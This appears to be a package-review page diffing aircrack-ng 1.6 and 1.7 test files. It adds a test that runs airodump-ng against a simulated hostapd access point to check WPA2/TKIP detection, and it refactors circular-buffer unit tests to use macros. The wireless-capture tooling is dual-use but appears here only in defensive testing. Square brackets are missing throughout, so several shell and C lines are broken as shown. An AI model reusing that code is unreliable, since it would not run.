aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0002.sh -> aircrack-ng-1.7.tar.gz/test/test-airodump-ng-0002.sh Changed

aircrack-ng-1.6.tar.gz/test/test-airodump-ng-0003.sh -> aircrack-ng-1.7.tar.gz/test/test-airodump-ng-0003.sh Changed

aircrack-ng-1.7.tar.gz/test/test-airodump-ng-0006.sh Added

@@ -0,0 +1,102 @@
+#!/bin/sh
+# Airodump-ng: Test WPA2 PSK TKIP detection
+
+if test ! -z "${CI}"; then exit 77; fi
+
+# Load helper functions
+. "${abs_builddir}/../test/int-test-common.sh"
+
+# Check root
+check_root
+
+# Check all required tools are installed
+check_airmon_ng_deps_present
+is_tool_present screen
+is_tool_present hostapd
+
+# Check for interfering processes
+airmon_ng_check
+
+# Cleanup
+finish() {
+	screen_cleanup
+	 -n "${TEMP_FILE}"  &&  -f "${TEMP_FILE}-01.csv"  && rm -f ${TEMP_FILE}*
+	cleanup
+}
+
+trap  finish INT QUIT SEGV PIPE ALRM TERM EXIT
+
+# Load mac80211_hwsim
+load_module 1
+
+# Check there are two radios
+check_radios_present 1
+
+# Get interfaces names
+get_hwsim_interface_name 1
+WI_IFACE=${IFACE}
+
+# Start hostapd with WPA PSK TKIP
+cat >> ${TEMP_HOSTAPD_CONF_FILE} << EOF
+interface=${WI_IFACE}
+ssid=test
+channel=1
+wpa=2
+wpa_pairwise=TKIP
+wpa_passphrase=password
+# Airodump-ng test 5
+EOF
+
+# Start hostapd
+run_hostapd ${TEMP_HOSTAPD_CONF_FILE}
+
+# Start hwsim0
+ip link set hwsim0 up
+
+TEMP_FILE=$(mktemp -u)
+screen -AmdS capture \
+	timeout 4 \
+		"${abs_builddir}/../airodump-ng" \
+			hwsim0 \
+			-c 1 \
+			-w ${TEMP_FILE} \
+			--background 1
+
+# Wait a few seconds for it to finish
+sleep 6
+
+# Check CSV
+ENCRYPTION_SECTION="$(head -n 3 ${TEMP_FILE}-01.csv | tail -n 1 | ${AWK} -F, '{print $6 $7 $8}')"
+if  -z "${ENCRYPTION_SECTION}" ; then
+	echo "Something failed with airodump-ng, did not get info from CSV"
+	exit 1
+elif  "$(echo ${ENCRYPTION_SECTION} | tr -d ' ')" != 'WPA2TKIPPSK' ; then
+	echo "Encryption section is not what is expected. Got ${ENCRYPTION_SECTION}"
+	exit 1
+fi
+
+# Check NetXML
+if  ! -f ${TEMP_FILE}-01.kismet.netxml ; then
+	echo "Kismet netxml file not found"
+	exit 1
+fi
+ENCRYPTION_SECTION="$(${GREP} '<encryption>WPA+PSK</encryption>' ${TEMP_FILE}-01.kismet.netxml)"
+if  -z "${ENCRYPTION_SECTION}"  ||  -z "$(${GREP} '<encryption>WPA+TKIP</encryption>' ${TEMP_FILE}-01.kismet.netxml)" ; then
+        echo "Failed to find PSK and WPA in the kismet netxml"
+	cat ${TEMP_FILE}-01.kismet.netxml
+        exit 1
+fi
+
+# Check Kismet CSV
+if  ! -f ${TEMP_FILE}-01.kismet.csv ; then
+	echo 'Kismet CSV not found'=
+	exit 1
+fi
+ENCRYPTION_SECTION="$(tail -n 1 ${TEMP_FILE}-01.kismet.csv | ${AWK} -F\; '{print $8}')"
+if  "x${ENCRYPTION_SECTION}" != 'xWPA2,TKIP' ; then
+	echo "Encryption section not found or invalid in Kismet CSV"
+	echo "Expected 'WPA2,TKIP', got ${ENCRYPTION_SECTION}"
+	exit 1
+fi
+
+exit 0
\ No newline at end of file

aircrack-ng-1.7.tar.gz/test/test23.pcap Added

aircrack-ng-1.7.tar.gz/test/testm1m2m3.pcap Added

aircrack-ng-1.6.tar.gz/test/unit/Makefile.inc -> aircrack-ng-1.7.tar.gz/test/unit/Makefile.inc Changed

aircrack-ng-1.6.tar.gz/test/unit/test-circular-buffer.c -> aircrack-ng-1.7.tar.gz/test/unit/test-circular-buffer.c Changed

@@ -16,7 +16,7 @@
 	(void) state;
 
 	// GIVEN
-	const size_t size = 64;
+#define	size 64
 	uint8_t buffersize;
 
 	// WHEN
@@ -30,6 +30,7 @@
 	assert_int_equal(0, circular_buffer_size(cbuf));
 
 	// END
+#undef size
 	circular_buffer_free(cbuf);
 }
 
@@ -38,7 +39,7 @@
 	(void) state;
 
 	// GIVEN
-	const size_t size = 2;
+#define	size 2
 	uint8_t buffersize;
 	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, 1);
 
@@ -51,6 +52,7 @@
 	assert_false(circular_buffer_is_full(cbuf));
 
 	// END
+#undef size
 	circular_buffer_free(cbuf);
 }
 
@@ -59,7 +61,7 @@
 	(void) state;
 
 	// GIVEN
-	const size_t size = 2;
+#define	size 2
 	uint8_t buffersize;
 	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, 1);
 
@@ -73,6 +75,7 @@
 	assert_true(circular_buffer_is_full(cbuf));
 
 	// END
+#undef size
 	circular_buffer_free(cbuf);
 }
 
@@ -81,9 +84,9 @@
 	(void) state;
 
 	// GIVEN
-	const size_t nb_elements = 2;
-	const size_t elementSize = 8;
-	const size_t size = nb_elements * elementSize;
+#define	nb_elements 2
+#define	elementSize 8
+#define	size (nb_elements * elementSize)
 	uint8_t buffersize + 1;
 	buffersize = 0;
 	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
@@ -99,6 +102,9 @@
 	assert_string_equal("a1234567b1234567", buffer);
 
 	// END
+#undef size
+#undef elementSize
+#undef nb_elements
 	circular_buffer_free(cbuf);
 }
 
@@ -107,9 +113,9 @@
 	(void) state;
 
 	// GIVEN
-	const size_t nb_elements = 2;
-	const size_t elementSize = 8;
-	const size_t size = nb_elements * elementSize;
+#define	nb_elements 2
+#define	elementSize 8
+#define	size (nb_elements * elementSize)
 	uint8_t buffersize + 1;
 	buffersize = 0;
 	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
@@ -125,6 +131,9 @@
 	assert_memory_equal("a123\0\0\0\0b1234567", buffer, size);
 
 	// END
+#undef size
+#undef elementSize
+#undef nb_elements
 	circular_buffer_free(cbuf);
 }
 
@@ -133,9 +142,9 @@
 	(void) state;
 
 	// GIVEN
-	const size_t nb_elements = 2;
-	const size_t elementSize = 8;
-	const size_t size = nb_elements * elementSize;
+#define	nb_elements 2
+#define	elementSize 8
+#define	size (nb_elements * elementSize)
 	uint8_t buffersize + 1;
 	buffersize = 0;
 	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
@@ -152,6 +161,9 @@
 	assert_memory_equal("a123\0\0\0\0", output, 8);
 
 	// END
+#undef size
+#undef elementSize
+#undef nb_elements
 	circular_buffer_free(cbuf);
 }
 
@@ -160,9 +172,9 @@
 	(void) state;
 
 	// GIVEN
-	const size_t nb_elements = 2;
-	const size_t elementSize = 8;
-	const size_t size = nb_elements * elementSize;
+#define	nb_elements 2
+#define	elementSize 8
+#define	size (nb_elements * elementSize)
 	uint8_t buffersize + 1;
 	buffersize = 0;
 	cbuf_handle_t cbuf = circular_buffer_init(buffer, size, elementSize);
@@ -185,6 +197,9 @@
 	assert_memory_equal("b1234567", output, 8);
 
 	// END
+#undef size
+#undef elementSize
+#undef nb_elements
 	circular_buffer_free(cbuf);
 }

aircrack-ng-1.6.tar.gz/test/unit/test-circular-queue.c -> aircrack-ng-1.7.tar.gz/test/unit/test-circular-queue.c Changed

aircrack-ng-1.6.tar.gz/test/unit/test-wpapsk-cmac.c -> aircrack-ng-1.7.tar.gz/test/unit/test-wpapsk-cmac.c Changed

aircrack-ng-1.6.tar.gz/test/unit/test-wpapsk.c -> aircrack-ng-1.7.tar.gz/test/unit/test-wpapsk.c Changed

Build Results
RPM Lint

Refresh

Comments for request 5652 0

Request History

frispete created request over 1 year ago

olh accepted request about 1 year ago